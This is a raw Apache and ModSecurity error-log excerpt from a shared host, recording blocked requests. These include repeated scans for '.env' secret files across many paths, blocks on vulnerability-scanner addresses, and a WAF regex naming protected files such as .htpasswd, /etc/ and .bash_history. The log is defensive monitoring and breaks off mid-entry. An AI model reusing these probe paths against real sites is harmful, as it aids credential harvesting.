"ai3y6FWSojQL4F7upKBekQAAALw"] [Sat Jun 13 18:16:40.618725 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:16:40.619207 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:16:40.712290 2026] [security2:error] [pid 648189:tid 648397] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app-order-client/.env"] [unique_id "ai3y6FWSojQL4F7upKBelQAAALE"] [Sat Jun 13 18:16:40.745877 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.84:27670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:40.746173 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.84:27670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:41.074971 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.59:27059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:41.075432 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.59:27059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:41.088089 2026] [security2:error] [pid 646876:tid 646949] [remote 17.22.253.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y6dyTkdrNlD40tSGqgwAAZUY"] [Sat Jun 13 18:16:41.105173 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:16:41.105430 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:16:41.114930 2026] [security2:error] [pid 648189:tid 648231] [remote 17.241.219.8:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 8.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y6VWSojQL4F7upKBeoQAA7gs"] [Sat Jun 13 18:16:41.238228 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.69:64006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:41.238712 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.69:64006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:41.401906 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.108:58159] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:41.402256 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.108:58159] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:41.536112 2026] [security2:error] [pid 646876:tid 647018] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/file/copy_basic.phpt"] [unique_id "ai3y6dyTkdrNlD40tSGqlgAAAAo"] [Sat Jun 13 18:16:41.621552 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/client/.env"] [unique_id "ai3y6VWSojQL4F7upKBesgAAAKw"] [Sat Jun 13 18:16:41.662225 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZS9pZA== [Sat Jun 13 18:16:41.662494 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZS9pZA== [Sat Jun 13 18:16:41.759751 2026] [security2:error] [pid 648189:tid 648380] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/code/community/Nosto/Tagging/.env"] [unique_id "ai3y6VWSojQL4F7upKBetQAAAKA"] [Sat Jun 13 18:16:41.925883 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.9:24702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:41.926338 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.9:24702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:41.956525 2026] [security2:error] [pid 648189:tid 648299] [remote 17.22.237.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y6VWSojQL4F7upKBevQAA1E0"] [Sat Jun 13 18:16:42.060792 2026] [security2:error] [pid 648189:tid 648355] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/config/.env"] [unique_id "ai3y6lWSojQL4F7upKBevgAAAIc"] [Sat Jun 13 18:16:42.176468 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:42.176915 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:42.197672 2026] [security2:error] [pid 648189:tid 648303] [remote 17.241.219.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y6lWSojQL4F7upKBewQAA9FE"] [Sat Jun 13 18:16:42.198839 2026] [security2:error] [pid 648189:tid 648469] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/config/dev/.env"] [unique_id "ai3y6lWSojQL4F7upKBewgAAAPM"] [Sat Jun 13 18:16:42.336917 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/frontend/.env"] [unique_id "ai3y6lWSojQL4F7upKBexAAAAIk"] [Sat Jun 13 18:16:42.612551 2026] [access_compat:error] [pid 648189:tid 648263] [remote 57.141.14.95:40659] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:42.612948 2026] [access_compat:error] [pid 648189:tid 648263] [remote 57.141.14.95:40659] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:42.618536 2026] [security2:error] [pid 648189:tid 648378] [client 185.177.72.9:37044] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/app/info.php"] [unique_id "ai3y6lWSojQL4F7upKBe0gAAAJ4"] [Sat Jun 13 18:16:42.640228 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.105:44572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:42.640514 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.105:44572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:42.670162 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6OmNhcHNsb2NrL2RldmljZQ== [Sat Jun 13 18:16:42.670595 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6OmNhcHNsb2NrL2RldmljZQ== [Sat Jun 13 18:16:42.898008 2026] [security2:error] [pid 646876:tid 647098] [client 185.177.72.9:37058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app1-static/.env"] [unique_id "ai3y6tyTkdrNlD40tSGqwAAAAFo"] [Sat Jun 13 18:16:42.942257 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.40:42104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:42.942718 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.40:42104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:43.040109 2026] [security2:error] [pid 646876:tid 647076] [client 185.177.72.9:37058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app2-static/.env"] [unique_id "ai3y69yTkdrNlD40tSGqyQAAAEQ"] [Sat Jun 13 18:16:43.177216 2026] [security2:error] [pid 646876:tid 647027] [client 185.177.72.9:37058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app_dir/.env"] [unique_id "ai3y69yTkdrNlD40tSGq1QAAABM"] [Sat Jun 13 18:16:43.191762 2026] [security2:error] [pid 646876:tid 646970] [remote 17.246.19.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y69yTkdrNlD40tSGq1AAAZVs"] [Sat Jun 13 18:16:43.202537 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:16:43.203017 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:16:43.204779 2026] [access_compat:error] [pid 648189:tid 648248] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:43.205219 2026] 